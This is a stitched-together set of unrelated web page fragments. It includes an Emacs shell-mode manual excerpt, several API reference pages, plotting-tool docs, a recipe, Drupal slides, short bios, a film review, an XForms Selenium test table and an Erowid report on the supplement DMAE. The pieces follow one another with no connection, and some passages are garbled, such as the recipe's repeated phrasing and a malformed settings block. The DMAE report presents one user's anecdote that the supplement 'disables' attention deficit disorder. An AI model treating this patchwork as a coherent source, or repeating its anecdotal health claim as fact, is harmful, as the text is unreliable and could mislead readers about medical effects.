Because the output from the diff command is in a buffer, you can edit it, save it, or do anything else you would like with it. Of course, if the operating system has no diff command or cannot access it for some reason, this command fails. An interesting twist to the shell command facility is that you can use a region of a buffer rather than a traditional file as input to the command. For example, let's say we want to sort a phone list. First, we put the cursor somewhere in the list (say, on the first character of Liam), then we give the mark-paragraph command (M-h). This command defines the phone list as a region, with the cursor at the beginning of the paragraph and the mark at the end. In the following example, the shaded area shows the extent of the region we want to sort. After selecting a region, we press M-| (for shell-command-on-region); Emacs prompts for the shell command to run.
Now we give the command sort without specifying any input file. Emacs is taking care of the input for us.
Emacs has sorted the phone list (i.e., everything within the region). A useful variation for M-! puts the output directly into the current buffer, rather than into a *Shell Command Output* buffer. To do so, precede the command with C-u: for example, C-u M-! runs a shell command and puts the output in the current buffer.
5.1.2 Using Shell ModeNow we're ready to discuss shell mode, the interactive facility for running commands. To start a shell buffer, type M-x shell Enter. This creates a buffer named *shell*. You see the prompt for your shell within this buffer. (This defaults to your usual shell; you can substitute another shell to use in Emacs. See "Which shell?" later in this chapter.) Figure 5-1. Shell buffers for Linux, Mac OS X, and WindowsFor the most part, shell mode is exactly like the normal command interface, except that you can use Emacs to edit the commands as you type them. You can copy commands from one place to another, copy the results into a file, save the whole shell buffer to a file, and so on. Note in Figure 5-1 that Emacs has added a few items to the menu bar (Complete, In/Out, and Signals). A few tricks are worth knowing, though. For example, you normally interrupt a command by typing C-c. If you type C-c in shell mode, Emacs thinks that the C-c is part of a command meant for it, because many Emacs commands start with C-c. Therefore, you have to type C-c C-c to terminate the current job. Likewise, under Unix, you type C-c C-z to stop a job, instead of C-z, and C-c C-d instead of C-d, and so on. (C-c C-d is not strictly necessary because Emacs understands C-d in context. If you're at the end of the buffer, C-d means "end of file"; if you're anywhere else, it deletes a character.) Alternatively, you can select options from the Signals menu rather than using control characters, if desired (for example, selecting EOF instead of typing C-d). Shell mode also provides a few convenient shortcuts. The command M-p retrieves the last shell command you typed, no matter how far back in the buffer it is. Typing successive M-p's brings back earlier commands.
In this example, the previous command was more dickensxmas.tex. It's no longer on the screen; its output has pushed it off the top. M-p (for comint-previous-input) retrieves the command, but doesn't execute it; you can edit the command before pressing Enter. To find subsequent commands, type M-n. If these commands sound familiar to you, they should. They are history commands, which are identical to the minibuffer history commands we discussed in Chapter 3. The In/Out menu is devoted to working with command history. Enter and Tab have special functions in shell mode. Pressing Enter executes the command on the line where the cursor is, even if you move the cursor up to the line of an earlier command you want to execute again. When you press Enter, Emacs copies the command to the end of the buffer and executes it. Of course, you can modify the command before pressing Enter. Pressing Tab puts the Emacs completion feature into action; use completion for operating system commands, filenames, and variables. Note that the completion of system commands works best on Unix implementations like Linux and Mac OS X; Emacs doesn't seem to find all the possible Windows commands, for example. If you type a command that produces a lot of output, cluttering up your session, there's an easy way to get rid of it. Type C-c C-o (for comint-kill-output).
The previous command (ls-la) remains on the screen, but its output, a long list of files, is deleted. C-c C-o can delete output from only the most recent command; it can't delete output from your previous commands. Another useful command for shell mode is C-c C-r (for comint-show-output). This command is useful if a command produces a lot of output and causes the first few lines of output to scroll off the screen. C-c C-r repositions the window so the first line of output from your last command is at the top of the window. If you want to see the end of the output instead, type C-c C-e (for comint-show-maximum-output); this command moves the last line of the input to the bottom of the window. When you're writing a book, moving by paragraphs makes sense, but when you're using a shell, moving by output group is more helpful. An output group consists of a command and its output. To move to the previous output group, type C-c C-p. To move to the next output group, type C-c C-n. An advantage of shell mode is that you can start a command and then edit another buffer while the command runs. The shell buffer doesn't need to be onscreen; just type M-x shell to get the buffer back again. You can have multiple shell buffers running at once; just use the command M-x rename-uniquely to rename your shell buffer. You can start another shell buffer, and another, and another—as many as you need to juggle all your tasks. <IP_ADDRESS> Which shell?Normally, Emacs uses your default shell in shell mode. Under Windows that's cmd.exe (the familiar C:\> prompt or a close relative).[1] But Unix has a wide variety of available shells, including the GNU Project's bash and the zed shell, zsh. Whatever shell you normally use, that's what Emacs starts when you enter shell mode.
How does Emacs know which shell to start? First, it looks at the variable shell-file-name. Then it looks for a Unix environment variable named ESHELL. Finally it looks for an environment variable named SHELL. If you want to run another particular shell (for example, the zed shell) when you're in Emacs, you can add the following command to your .emacs file: (setq shell-file-name "/bin/zsh") When Emacs starts an interactive shell, it runs an additional initialization file after your shell's normal startup files. The name of this file is .emacs_shell-name, where shell-name is the name of the shell you want to use in Emacs. It must be located in your home directory. For example, if you use the C shell, you can add Emacs-only startup commands by placing them in the file .emacs_csh. Let's say that when you're in Emacs, you want to change the prompt to emacs:% and you want an environment variable called WITHIN_EDITOR to be set to T. Here's the contents of your .emacs_csh file: set prompt="emacs:% " setenv WITHIN_EDITOR T Within a shell buffer, Emacs also sets the environment variable EMACS to t, and sets your terminal type (the TERM variable) to emacs. <IP_ADDRESS> Making passwords invisible in shell modeBy default, shell mode displays everything you type and that includes passwords—not a good situation if someone is peering over your shoulder. There is a way around this problem, however. Before you type the password, type M-x send-invisible. Emacs asks for the nonechoed text. When you type a character, Emacs puts an asterisk in the minibuffer. Press Enter and Emacs enters the password without displaying it. To have Emacs hide passwords as you type them, add the following two lines to your .emacs file: (add-hook 'comint-output-filter-functions 'comint-watch-for-password-prompt) Emacs asks for nonechoed text in the minibuffer whenever a password prompt appears on the screen, making sure that the password is never displayed. Table 5-1 summarizes shell mode commands.
|
| < Day Day Up > |


Constructor
new ChargeStation(locationName, lat, lon)
Constructs a ChargeStation Object with the specified parameters.
Parameters:
| Name | Type | Description |
|---|---|---|
locationName |
String | The location name of the charging station. |
lat |
Float | The latitude of the station's position. |
lon |
Float | The longitude of the station's position. |
Properties:
| Name | Type | Description |
|---|---|---|
id |
String | A unique id of the charging station. |
locationName |
String | The name of the location of where the charging station is. |
lat |
Float | The latitude coordinate of the charging station. |
lon |
Float | The longitude coordinate of the charging station. |
scootersCharging |
Array.<ElectricScooter> | An array of current scooters that are charging. |
Methods
addScooter(scooter)
Adds a given scooter to the charging station to charge.
Parameters:
| Name | Type | Description |
|---|---|---|
scooter |
ElectricScooter | The scooter to add to the charging station. |
chargeScooters() → {Promise}
Goes through each scooter in the charging station and attempts to charge them.
Returns:
- Returns a promise on whether the Scooter was charged or not.
- Type
- Promise
getChargingStation(id) → {ChargingStation}
Returns the instance of the charging station that matches the location name.
Parameters:
| Name | Type | Description |
|---|---|---|
id |
String | The ID of the charging station to get. |
Returns:
- Returns the charging station with the given location name.
- Type
- ChargingStation
getNearestChargingStation(lat, lon) → {ChargeStation}
Locates the nearest charging station based on the given lat/lon coordinates.
Parameters:
| Name | Type | Description |
|---|---|---|
lat |
Float | The latitude coordinates of your position. |
lon |
Float | The longitude coordinates of your position. |
Returns:
- Returns the nearest charge station.
- Type
- ChargeStation


How to use¶
This program creates and updates the plots based on the data given in the CSV files. In the case of using the build-in plots, the content of these files must be formatted in the required form explained [here]. However, if user intends to pass a custom plot, there is no formating required. The program requires a settings argument as a Python dictionary object that can consists the information of graphs, as many as desired. The structure of this settings object is:
settings = {
"graph_name1":graph_1_settings,
"graph_name2":graph_2_settings,
}
The names preceding individual graph settings are the plot titles which can be chosen arbitrary. Graph specific settings are somewhat different between different choices of plotting which can be found on build-in settings and custom settings .
Once the settings object is created, simply call the watch
class and run
the program as:
from monitor import watch
watch(settings).run()
It executes the Dash
app and returns an IP such as:
Running on http://<IP_ADDRESS>:8050/
Copy and past http://<IP_ADDRESS>:8050/
to the browser and the desired graphs will appear. You may need to refresh the page or hit the update
button to see the results.
Using build-in plots¶
So far, there are only two types of plots that are supported in build-in approach, i.e. lines and scatter. They are generic and provide limited flexibility. In the case that user interested to have more options, custom plot are recommended.
Formating CSV files¶
-Lines plot¶
The lines plot intends to monitor the progress of a variable over time. Therefore, the x-axis is assumed to be time steps and are generated by the program automatically. The data of the Y-axis, however, needs to be given in the file as columns. Separate lines are generated for each column with the label that appears as the column name and plotted together.
In case you are interested to plot them seperately, provide them in different files.
-Scatter plot¶
The information of each point of a scatter plot should be given as a row in CSV files. The informatin includes x
and y
which are the coordinates of the corrosponding point, and size
and type
which determine size of categories of each point, respectively. type
is be also used to label each point. The latter two options are optionally and can be omitted. The file should look like:
Settings options for build-in plots¶
Using custom plots¶
Settings options for custom plots¶
Using build-in plots: In this approach, the user needs to provide these settings:
{
"graph_dir" = "path/to/CSV/file.csv",
"graph_type" = scatter or lines
"graph_size" = graph width in px, e.g. 700
"x-axis-move" = True or false. If true, the x-axis moves as it receives more data
"x-axis-span" = a number. The length of x axis (if "x-axis-move" is true)
}
Currently, there are two ways of using this code:
So far, there are only two types of plots that are available, i.e. lines and scatter.
Lines: The program assumes that the X-axis shows steps/time intervals, and the data of the Y-axis is given in in the file as
{
"firstName": "John",
"lastName": "Smith",
"age": 25
}
pip install module or python setup.py install
pip install module or python setup.py install


Beta This is a test version of the layout of this page. Take the survey to help us improve it
Research and analysis
Report presenting evidence on the effect of universal and extended access to free school meals on a range of pupil outcomes.
The evaluation report analyses the effect and value for money of a 2-year pilot that tested different approaches to free school meals ( FSM ) provision.
The pilot ran between autumn 2009 and summer 2011 at 3 local authorities.


The World Health Organization (WHO) is leading and coordinating the global effort, supporting countries to prevent, detect, and respond to the pandemic. Everyone can now support directly the response coordinated by WHO. People and organizations who want to help fight the pandemic and support WHO and partners can now donate through the COVID-Solidarity Response Fund for WHO.
This is a test transaction, no amount will be deducted.


GHTesting Class Reference
| Inherits from | NSObject |
| Declared in | GHTesting.h GHTesting.m |
Tasks
-
+ sharedInstance
The shared testing instance.
-
– loadAllTestCases
Load all test classes that we can “see”.
-
– loadTestsFromTarget:
Load tests from target.
-
– isTestCaseClass:
See if class is of a registered test case class.
-
– registerClass:
Register test case class.
-
– registerClassName:
Register test case class by name.
-
+ descriptionForException:
Format test exception.
-
+ exceptionFilenameForTest:
Filename for cause of test exception.
-
+ exceptionLineNumberForTest:
Line number for cause of test exception.
-
+ runTestWithTarget:selector:exception:interval:reraiseExceptions:
Run test.
-
+ runTestOrRaiseWithTarget:selector:exception:interval:
Same as normal runTest without catching exceptions.
Class Methods
descriptionForException:
Format test exception.
+ (NSString *)descriptionForException:(NSException *)exception
Parameters
- exception
Exception
Return Value
Description
Discussion
Format test exception.
Declared In
GHTesting.h
exceptionFilenameForTest:
Filename for cause of test exception.
+ (NSString *)exceptionFilenameForTest:(id<GHTest>)test
Parameters
- test
Test
Return Value
Filename
Discussion
Filename for cause of test exception.
Declared In
GHTesting.h
exceptionLineNumberForTest:
Line number for cause of test exception.
+ (NSInteger)exceptionLineNumberForTest:(id<GHTest>)test
Parameters
- test
Test
Return Value
Line number
Discussion
Line number for cause of test exception.
Declared In
GHTesting.h
runTestOrRaiseWithTarget:selector:exception:interval:
Same as normal runTest without catching exceptions.
+ (BOOL)runTestOrRaiseWithTarget:(id)target selector:(SEL)selector exception:(NSException **)exception interval:(NSTimeInterval *)interval
Parameters
- target
Target
- selector
Selector
- exception
Exception, if set, is retained and should be released by the caller.
- interval
Time to run the test
Discussion
Same as normal runTest without catching exceptions.
Declared In
GHTesting.h
runTestWithTarget:selector:exception:interval:reraiseExceptions:
Run test.
+ (BOOL)runTestWithTarget:(id)target selector:(SEL)selector exception:(NSException **)exception interval:(NSTimeInterval *)interval reraiseExceptions:(BOOL)reraiseExceptions
Parameters
- target
Target
- selector
Selector
- exception
Exception, if set, is retained and should be released by the caller.
- interval
Time to run the test
- reraiseExceptions
If YES, will re-raise exceptions
Discussion
Run test.
Declared In
GHTesting.h
Instance Methods
isTestCaseClass:
See if class is of a registered test case class.
- (BOOL)isTestCaseClass:(Class)aClass
Parameters
- aClass
Class
Discussion
See if class is of a registered test case class.
Declared In
GHTesting.h
loadAllTestCases
Load all test classes that we can “see”.
- (NSArray *)loadAllTestCases
Return Value
Array of initialized (and autoreleased) test case classes in an autoreleased array.
Discussion
Load all test classes that we can “see”.
Declared In
GHTesting.h
loadTestsFromTarget:
Load tests from target.
- (NSArray *)loadTestsFromTarget:(id)target
Parameters
- target
Target
Return Value
Array of idGHTest
Discussion
Load tests from target.
Declared In
GHTesting.h


Adobe Creative Suite, Canva, accessibility & diversity
Social media, print, email
Journalistic, academic, technical
Qualitative & quantitative
For a sustainability course, I synthesized academic and popular sources to concisely argue that Earth Day has outlived its utility.
View PDFI penned this mock grant application for an advanced writing seminar about translating expert knowledge to non-expert readers.
View PDFThis reflection on climate change and home allowed me to meld the personal with the philosophical by narrating the ecological crisis.
View PDF


Pull Request Counter
For
Digital Ocean Hacktoberfest 2015
User:
Are you shirt-worthy?
Pull Requests:


Each colored line represents a sequence commonly found in puzzle hunts, with each square being a distinct element in the sequence. Possible ways to identify some of the sequences may be to count up the number of squares along the lines, which turns up 26 and 24 for red and orange, respectively. Additionally, the shapes of the paths give a visual hint as to what each sequence is.
Furthermore, all intersections between sequences more or less represent the same thing, which can help in identifying the sequences:
Here is a table summarizing the sequences:
| Color | Sequence | Highlighted element | Hints |
|---|---|---|---|
| Red | NATO alphabet | Hotel | The four-pointed star can be seen on the NATO flag. |
| Orange | Greek alphabet | Omicron | The outline of the orange shape roughly traces the mainland portion of Greece. |
| Yellow | Electromagnetic spectrum | Ultraviolet | The outline roughly traces a sine wave, a common representation of electromagnetic waves. |
| Green | SI prefixes | Nano | The green dots are evenly spaced, except in the middle where they are spaced 1/3 apart (which matches the SI prefixes, which have prefixes for the 101, 102, 103 powers, and then every 3 thereafter (so 106, 109, and so on) |
| Blue | Months | December | The moon represents what months are roughly a time span of - the time it takes for our moon to revolve around Earth. |
Reading the first letters of the highlighted elements, in rainbow order, gives us the answer HOUND.
A fully annotated image can be seen here:


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Preparation time
less than 30 mins
Cooking time
30 mins to 1 hour
Serves
Serves 4
Take your Sunday lunch to the next level with this sophisticated recipe from James Martin.
For the beef, preheat the oven to 60C/140F/Gas ¼.
Heat one tablespoon of the vegetable oil in a frying pan. Add the beef and fry for 1-2 minutes, turning regularly, or until browned all over. Remove the beef from the pan and set aside to cool.
Wrap the fillet in heatproof clingfilm or aluminium (see Top recipe tip) and roast in the oven for 30 minutes.
Use a meat thermometer to check the core temperature of the beef, it should be 57-59C /135-138F for medium-rare.
Remove the beef from the oven and heat a frying pan until hot.
Add the remaining oil and a knob of butter to the pan and fry the beef in the pan for no more than 30 seconds on each side.
Meanwhile, heat a saucepan until hot, add a knob of butter, the shallots and thyme and sweat for a 2-3 minutes, or until just softened. Add the madeira and cook until the volume of the liquid has reduced by half.
Add the red wine and continue to cook until the volume of the liquid has reduced by reduce by two-thirds, then add the stock and bring to the boil.
Continue to cook until the volume of the liquid has reduced by reduce by two-thirds, then add a knob of butter, salt and freshly ground black pepper.
Heat a frying pan until hot, add the remaining butter and the button onions and fry for 2-3 minutes, or until golden and just tender. Add the mushrooms and fry for another 2-3 minutes. Season with salt and freshly ground black pepper, then stir in the chervil.
Meanwhile, for the mash, preheat the oven to 180C/350F/Gas 4.
Cut the top and bottom off of the smoked garlic and place on a roasting tray. Drizzle with the olive oil and roast in the oven for 20-25 minutes, or until softened.
Meanwhile, cook the potatoes in boiling salted water for 15-18 minutes, or until tender. Drain and return to the pan over the heat to drive off any excess moisture.
Remove the garlic from the oven and squeeze the flesh into the potatoes.
Mash the potatoes, then return the pan to the heat and add the olive oil, cream and milk. Beat the mixture until smooth. Season, to taste, with salt and freshly ground black pepper.
To serve, spoon the mushrooms onto serving plates. Carve the beef into thick slices and place onto the plates. Spoon the mash alongside then finish with a drizzle of madeira jus.


{# Loosely inspired by the deprecated sphinx/themes/basic/defindex.html #} {%- extends "layout.html" %} {% set title = _('Overview') %} {% block body %}
Welcome! This is the documentation for Parament {{ release|e }}
|
What is Parament? Quickstart Algorithm API reference Glossary |


{% extends 'layout.html' %} {% block pageTitle %} NHS.UK prototype kit - Gitpod installation guide {% endblock %} {% block beforeContent %} {{ breadcrumb({ items: [ { href: "/docs", text: "Home" } ], href: "/docs/install", text: "Install" }) }} {% endblock %} {% block content %}
If your organisation or workspace already has Gitpod installed you can configure Gitpod’s repository access through the Gitpod installer.
You will need to:
If you're not an admin on the repository you want to use Gitpod on you will need to request the configuration. An admin can approve this in the project under the applications section.
You need Gitpod installed on a Github workspace or organisation before you can configure a repository. Follow our guidance on how to install Gitpod to a Github organisation or workspace


| Pool: | |
| Group by: | |
| Relation: | |
| Width: | (defaults to window size) |
| Height: | (defaults to window size) |
| Start time/date: | (try values like "Sep 15", "6am". All times are UTC.) |
| End time/date: | (you can use start or end, not both. Use hours instead.) |
| Hours: | |
| Minimum bin width: | (in pixels: for auto-scaling of results) |


Start working with Landrick that can provide everything you need to generate awareness, drive traffic, connect.


first name:
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Drupal: Framework or App? Yes!
MidCamp 2014
About Me
Will Long
About Me
Eric Kirsner
Objectives
- Distinguish key differences between a framework and an app.
- Explain Drupal’s position within the framework vs. app domain.
- Highlight Drupal's key existing functionality.
Agenda
- Define apps and frameworks.
- What is Drupal, really?
- Drupal's framework-y bits.
What Do Our Friends Say?
What Do Our Friends Say?
- Product: A thing that helps you do something.
- Framework: A thing that helps you make products.
Jeff Eaton
Product, Framework, or Platform? What They Mean, And Why You Should Care
DrupalCon London, 2011
What Do Our Friends Say?
What Drupal is today is a tool for building a content management system for a variety of different needs.
Larry Garfield
Drupal is not a CMS
http://www.palantir.net/blog/drupal-not-cms
"Drupal is a Mutant!"
Jeff Eaton
Product, Framework, or Platform? What They Mean, And Why You Should Care
DrupalCon London, 2011
WYGIWYG
Is that a word?
But Really...
WAIT!
Fundamentals of a Web App
- Routing
- Business Logic
- Response
Users & User Management
- Authentication
- Management
- Roles, permissions, access control
- Self-serv
Data Modeling
Schema & DBTNG
- Build and maintain custom tables
- Query building, sanitization
- Expose to other tools
Data Modeling
Fields
- Easy to use
- Easy to extend
- Integrates will with core & contrib
(Some of) The Rest
- Security
- Caching & performance
- i18n
- Views
- Token
- Rules
Questions
Thanks for attending.


≡
Home
Habitat
Facts
Protection
Media
Useful links
Chart
Map
Settings
Bold
Italic
Small caps
Please enjoy these beautiful images and videos of lions
Thanks to our protection the lion can enjoy the sun in safety.

After a long day these lions are preparing for the night.
This young lion is playing with his dad.
Lions cuddle eachother, just like humans do.


HMMER is an implementation of profile HMM methods for sensitive database searches using multiple sequence alignments as queries.
The version of HMMER that is distributed with this version of Rocks was obtained from here. The version as of code freeze is v2.3.2 and is distributed by WU, St.Louis under the GNU General Public License v2.0.
HMMER is setup in the /opt/Bio/hmmer directory. The HMMER execution environment is setup automatically by the login scripts. The environment contains HMMER_DB variable which points to the directory containing the hmmer databases. By default, this is set to /share/bio/hmmer/db/.
HMMER has many modes of execution. Please run
$ man hmmer |
You may also refer to the Users Guide present here. This guide is also available on your rocks installation at /opt/Bio/hmmer/Userguide.pdf
There is also a tutorial available on your cluster at /opt/Bio/hmmer/tutorial/ . The description of how to use the tutorial is given in the Userguide.pdf file.


MIT Museum
The MIT Museum engages the wider community with MIT’s science, technology, and other areas of scholarship in ways that will best serve the nation and the world in the 21st century. As the world's window into the work being done every day at MIT, the engagement caused a lot of excitement and provided a chance to put MIT's Drupal Cloud offering through its paces.
created at Sametz Blackstone Associates
The approach
One of the fundamental requirements was that the new site had to be hosted on MIT's Drupal Cloud—a free, university-wide managed Drupal platform. That one caveat proved both really exciting and also an enormous challenge. The Museum site is, in many ways, fundamentally unlike all the other Drupal work I've done since version 4.x in that I had to work with an existing theme instead of making my own. Though the CSS and JS injectors are rather cunning and quite powerful, creating an entirely new process to build a design-lead site within the framework was a bit of a challenge. While I modified my existing workflow to help generate the styles and scripts for the injectors, there's arguably not a single line of code involved in generating that site—it's all varying degrees of "configuration."
Ultimately it proved worthwhile. The end result stands in rather stark contrast to any other site created on the platform and was a valuable (if occasionally humbling) experience.


Alexander Fera
Co-Founder, Board Member, and Chief Executive Officer
Alex is the Founder and CEO of The Orange Alliance. He is the Lead FIRST Technical Advisor for FIRST in Michigan,
FIRST Tech Challenge and FIRST Robotics Competition. Alex helps to manage the day to day operations of TOA.
He is also the owner of his own IT Consulting Firm, Fera Group, LLC, based in Northern Michigan. Alex is a 10
year volunteer with FIRST and he is an alum and mentor of FIRST Robotics Team 503.


Principles of Info. Systems
PART 1 Overview: An Introduction to Information Systems / Technology
Content overview
- Information concepts
- DIKW pyramid
- Bloom’s Taxonomy
- Characteristics of quality information
- System concepts
- Input, Processing, Output, Feedback
- Information System
- Manual and Computerized Information Systems
- Computer-Based Information Systems
- Technology concepts
- Information Technology
- Engineering concepts


| Object | Description |
|---|---|
| Bike.AlreadyDefinedError | This type of error is thrown when a variable is re-declared. |
| Bike.ArgumentError | This type of error is thrown when there is an argument error. |
| Bike.ArgumentNullError | This type of error is thrown when an argument is null although it should not be. |
| Bike.Array | The prototype of all arrays in the system. |
| Bike.Boolean | The prototype of all booleans in the system. |
| Bike.ClrError | This type of error is thrown when there's a CLR interoperability issue. |
| Bike.Contract | Helper object used to assert methods' preconditions. |
| Bike.DateTime | The object represents for date and time in system. |
| Bike.Error | The prototype of all errors in the system. |
| Bike.FileSystem | Helped object used to perform directory and file operations. |
| Bike.Function | The prototype of all functions in the system. |
| Bike.Http.Get | Represent for a GET HTTP request. |
| Bike.Http.Headers | Represent for a collection of HTTP header. |
| Bike.Http.Methods | Constants and helper methods for HTTP methods. |
| Bike.Http.Post | Represent for a POST HTTP request. |
| Bike.Http.Request | Represents a HTTP request. |
| Bike.Http.Response | Represents a HTTP response object. |
| Bike.InvalidOperationError | This type of error is thrown when a method is not properly invoked. |
| Bike.InvalidProgramError | This type of error is thrown when the program violates Bike's semantics. |
| Bike.Json | Helper object used to perform JSON conversion. |
| Bike.LoadError | This type of error is thrown when Bike fails to load code. |
| Bike.Logger | The util object for logging purpose. |
| Bike.NotDefinedError | This type of error is thrown when an undeclared variable is used. |
| Bike.NullError | This type of error is thrown when a null variable is accessed. |
| Bike.Number | The prototype of all numbers in the system. |
| Bike.Object | The prototype of all objects in the system. |
| Bike.Random | Helper object used to generate random numbers. |
| Bike.Regex | Helper object used to perform regular expression matching. |
| Bike.Regex.Group | Represents a captured group. |
| Bike.Regex.Match | Represents a regular expression match. |
| Bike.Stopwatch | A stopwatch object. |
| Bike.String | The base object for all strings in the system. |
| Bike.Thread | Represents a thread. |
| Bike.ThreadGroup | A helper class to manage life cycle of a group of thread. |
| Bike.TypeError | This type of error is thrown when there is a type error. |
| Bike.Uri | Represent for an uniform resource identifier ( URI ) and easy access to the parts of the URI. |
| global | Global scope. |


| DOSE: |
100 mg |
oral |
DMAE |
(pill / tablet) |
I am notorious for not being able to concentrate or able to follow my points in arguments, conversations ect. I also have attention deficit disorder which in my case significantly hinders my ability to concentrate at times. I often find myself rereading passages in books and articles because I lose focus on the content. After going through some serious self questioning times, I realized that if I had a better memory I could better define myself and my values in terms of other people and their values. After reading others' experiences with DMAE I decided it would be a worthwhile investment to purchase some of the stuff.
I bought a bottle of 100 capsules that contain 100 mg of DMAE per capsule for 8 dollars and some odd cents at a local health foods and supplement store. About an hour after purchase I decided to administer the white capsule and see what it does.
When I got home I received a call from my friend who enjoys debating things, I usually canít convince him on most subjects of conversation, But when he called we started up an important debate about the fallacies of one of my ex-friends------ long story short I was able to nail down all areas of this debate to the fullest extent. My memory seemed to be in overdrive, It was like I was in a library of my memories and I had the ability to pinpoint specific ones I needed to back up my points. The speed and efficiency in which I was utilizing my points, language, and logic was something I donít do with such precision. I left my friend thoroughly convinced of how I felt towards this individual and I had shifted my friendís perspective as well.
The next day I took another 100mg (one capsule) and went to school, I had followed everything my professors were discussing with awesome focus, I had taken extensive notes and really absorbed the class material. I took DMAE the morning of a test. While I was taking the test I hadnít studied very extensively for, memories of being in class while reviewing material seemed to resurface Ė this is something that never has really occurred to me before, when I got my test back on it I had received 87 percent on it. I read an entire 150 page novel yesterday without rereading passages for clarity, I was able to absorb the book.
The effects of DMAE are definitely apparent. For me it seems to temporarily disable Attention deficit disorder, allowing me to focus and concentrate significantly more than usual. I started out on just taking a one capsule at a time and I received all DMAEís rewards. I owe a little credit to DMAE for my self discovery in part with DMAE as well, I can focus on issues while in the midst of thought.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


In a form based filter, form controls bound to a searchable database field are replaced with a control
which allows entering a search expression. This so-called predicate expression is basically a part of an
SQL WHERE
clause, but without the the part denoting the database column. For instance, if you
have a form control bound to a table column named Name
, then entering the string
LIKE '%Smith%'
effectively consitutes a SQL WHERE
clause "Name" LIKE '%Smith%'
.
In the actual document view, there are usually some relaxations to this. For instance, keywords such as
LIKE
might be localized, according to OpenOffice.org's UI locale. Also, for an equality criterion,
the equality sign =
is usually omitted. However, this interface here provides programmatic access
to the form based filter, so those relaxations are not considered here.
The filter maintained by a filter controller is, logically, a disjunctive normal form of an SQL WHERE
class. That is, it is a disjunction of m terms, where each term is a conjunction of n clauses
of the form <column> <predicate> <literal>
or of the form <column>
IS [NOT] NULL
.
n equals the number of filter controls which the filter controller is responsible for. This number
doesn't change during one session of the form based filter. On the other hand, m, the number of disjunctive
terms, is dynamic.
With the above, there are potentially m * n predicate expressions (though usually only a fraction
of those will actually exist). Since in a form based filter, there are only n filter controls, and each
filter control displays exactly one predicate expression, this means that only a part of the complete
filter can be displayed, in particular, only one disjunctive term can be displayed at a time. Thus,
the filter controller knows the concept of an active term, denoted by the ActiveTerm
attribute, controls which of the terms is currently displayed in the form controls.


I am a proud Oregon native who has lived in Portland for the last nine years, having moved to the city to attend college at Lewis & Clark. Upon graduation I worked a couple years in retail before landing a temporary role at Nike working in HR. I eventually realized I had a stronger passion for product and consumers, and had the desire to work in a department allowing me explore this intersection. After some hard work and a number of interviews, I eventually found myself in product merchandising. Fast forward a couple of years and I yet again found myself yearning to do something more creative day-to-day and looking to learn a technical skill. It was at this point that I found Epicodus and began the next chapter in my life.


Happy Sad Man film review: talking men’s mental health
by Lucy RutherfordTHERE is a prevalent stereotype that men do not like to talk about their feelings.
With this documentary Happy Sad Man, Australian filmmaker Genevieve Bailey shows maybe it is simply that no one asks men how they are feeling.
In the film she talks to five men all either living with mental illness or around those with mental illness such as Ivan, a farmer who works with rural men’s health groups.
Grant is a surfer diagnosed with bipolar disorder, David an artist who experiences anxiety and Jake a photographer and community worker in war zones who has been diagnosed with PTSD.
John, who she has known since she made a short documentary about him at film school, is also diagnosed with bipolar disorder and he inspired the title of the film, with Bailey describing him as the happiest and saddest man she has ever met.
Each man talks about their experience with mental health with great candour, sharing ways in which they have overcome the associated struggles whether that be through their work, family, community groups or raising awareness to help others also going through the same experiences.
The documentary is mainly observational and because it is so personal to the experiences of these five men, it cannot touch on all aspects of how masculinity and mental health intersect.
But it is a timely reminder that sometimes people just need someone willing to sit down with them and listen.
THE ESSENTIALS
Happy Sad Man (M)
Director: Genevieve Bailey
Three and half stars
Review by Lucy Rutherford
Showing at Luna Leederville and Palace Paradiso from November 14
Castle of Dreams film review: a slice of the best Iranian cinema


2.4.a Example: Multiple Forms
|
| open |
../../W3C-XForms-1.1/Edition1/Chapt02/2.4.a.html |
&nsp; |
Opens the form |
| pause |
3000 |
|
Waits for the form to load |
| verifyTitle |
2.4.a Example: Multiple Forms |
|
Makes sure this is the right form |
| verifyElementPresent |
xpath=/html/body/xforms:select1[@ref='@method']/pe-value/input |
|
Checks that the select1 is in the form |
| verifyValue |
xpath=/html/body/xforms:select1[@ref='@method']/pe-value/input |
Credit |
Checks that the select1 has the right value |
| click |
xpath=/html/body/xforms:submit[@submission='pollsubmit']/xforms:label |
|
Clicks on submit button |
| pause |
2000 |
|
Waits for the form data page to load |
| verifyElementNotPresent |
xpath=//html/body/pre |
true |
Checks that the form data is not shown |
| click |
xpath=/html/body/xforms:select1[@ref='@method']/pe-value/input |
Element xpath=/html/body/xforms:select1[@ref='@method']/pe-value/input not found |
Clicks in the select1 |
| verifyElementPresent |
xpath=/html/body/xforms:select1[@ref='@method']//div[@class='pe-choices'] |
|
Checks that the choices section is in the form |
| verifyText |
xpath=/html/body/xforms:select1[@ref='@method']//div[@class='pe-choices']/xforms:item[1]/xforms:label |
Cash |
Checks that the first item is "Cash" |
| verifyText |
xpath=/html/body/xforms:select1[@ref='@method']//div[@class='pe-choices']/xforms:item[2]/xforms:label |
Credit |
Checks that the second item is "Credit" |
| type |
xpath=/html/body/xforms:input[@ref='my:number']/pe-value/input |
1234567890123456 |
Sets the credit card number |
| type |
xpath=/html/body/xforms:input[@ref='/my:payment/my:expiry']/pe-value/input |
2008-12 |
Sets the expiration date of the credit card |
| click |
xpath=/html/body/xforms:select1[@ref='@method']//div[@class='pe-choices']/xforms:item[2]/xforms:label |
|
Clicks on "Credit" |
| waitForValue |
xpath=/html/body/xforms:select1[@ref='@method']/pe-value/input |
Credit |
Checks that the select1 is bound correctly |
| verifyValue |
xpath=/html/body/xforms:select1[@ref='@method']/pe-value/input |
Credit |
Checks that the select1 is bound correctly |
| verifyElementPresent |
xpath=/html/body/xforms:select1[@ref='helpful']/pe-value/input |
|
Checks that the other select1 is in the form |
| verifyValue |
xpath=/html/body/xforms:select1[@ref='helpful']/pe-value/input |
Very helpful (3) |
Checks that the other select1 has the right value |
| click |
xpath=/html/body/xforms:select1[@ref='helpful']/pe-value/input |
|
Clicks in the other select1 |
| verifyElementPresent |
xpath=/html/body/xforms:select1[@ref='helpful']//div[@class='pe-choices'] |
|
Checks that the choices section is in the form |
| verifyText |
xpath=/html/body/xforms:select1[@ref='helpful']//div[@class='pe-choices']/xforms:item[1]/xforms:label |
Not at all helpful (0) |
Checks that the first item is "Not at all helpful (0)" |
| verifyText |
xpath=/html/body/xforms:select1[@ref='helpful']//div[@class='pe-choices']/xforms:item[4]/xforms:label |
Very helpful (3) |
Checks that the fourth item is "Very helpful (3)" |
| click |
